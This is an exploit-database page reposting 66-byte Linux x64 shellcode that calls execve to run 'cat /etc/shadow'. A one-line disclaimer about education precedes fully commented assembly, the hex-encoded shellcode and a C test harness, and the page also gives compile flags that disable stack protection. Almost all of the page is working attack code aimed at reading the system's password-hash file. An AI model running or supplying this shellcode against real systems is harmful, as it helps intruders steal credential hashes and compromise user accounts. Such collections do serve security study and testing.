Linux/x64 execve "cat /etc/shadow" shellcode (66 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-02-09 | Type : shellcode | Platform : linux_x86-64
This exploit / vulnerability Linux/x64 execve "cat /etc/shadow" shellcode (66 bytes) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Linux/x64 - execve "cat /etc/shadow" Shellcode (66 bytes)
# Date: 02-08-2021
# Author: Felipe Winsnes
# Tested on: Debian x64
# Shellcode Length: 66

/*
global _start

_start:

xor rax, rax ; Zeroes out RAX.
xor rbp, rbp ; Zeroes out RBP.

push rax ; Pushes RAX's NULL-DWORD.

mov rbp, 0x776f646168732f63 ; Moves value "wodahs/c" into RBP.
push rbp ; Pushes the vaueof RBP into the Stack.

mov rbp, 0x74652f2f2f2f2f2f ; Moves value "te//////" into RBP.
push rbp ; Pushes the vaue of RBP into the Stack.

mov rbp, rsp ; Copies the value of the Stack into RBP.
push rax ; Pushes RAX's NULL-DWORD.

mov rbx, 0x7461632f6e69622f ; Moves value "tac/nib/" into RBX.
push rbx ; Pushes the vaue of RBX into the Stack.

mov rbx, rsp ; Copies the value of the Stack into RBX.

mov rdi, rsp ; Copies the value of the Stack into RDI.
push rax ; Pushes RAX's NULL-DWORD.

mov rdx, rsp ; Copies the value of the Stack into RDX. As the previous DWORD was completely NULL, RDX is set to 0.

push rbp ; Pushes the vaue of RBP into the Stack.
push rbx ; Pushes the vaue of RBX into the Stack. The full string should be "cat /etc/shadow".

mov rsi, rsp ; Copies this entire string from the Stack into RSI.

push word 59 ; Pushes the value 59 (syscall value for execve in the x64 format).
pop ax ; Pops this value into AX so there are no NULLs.
syscall ; The syscall is executed.
*/


/*
Usage:
whitecr0wz@SLAE64:~/assembly/execve/cat$ gcc cat_shadow.c -o cat_shadow -fno-stack-protector -z execstack -w
whitecr0wz@SLAE64:~/assembly/execve/cat$ ./cat_shadow
*/

#include <stdio.h>

unsigned char shellcode[] = \
"\x48\x31\xc0\x48\x31\xed\x50\x48\xbd\x63\x2f\x73\x68\x61\x64\x6f\x77\x55\x48\xbd\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x55\x48\x89\xe5\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe3\x48\x89\xe7\x50\x48\x89\xe2\x55\x53\x48\x89\xe6\x66\x6a\x3b\x66\x58\x0f\x05";

int main()
{

int (*ret)() = (int(*)())shellcode;
ret();
}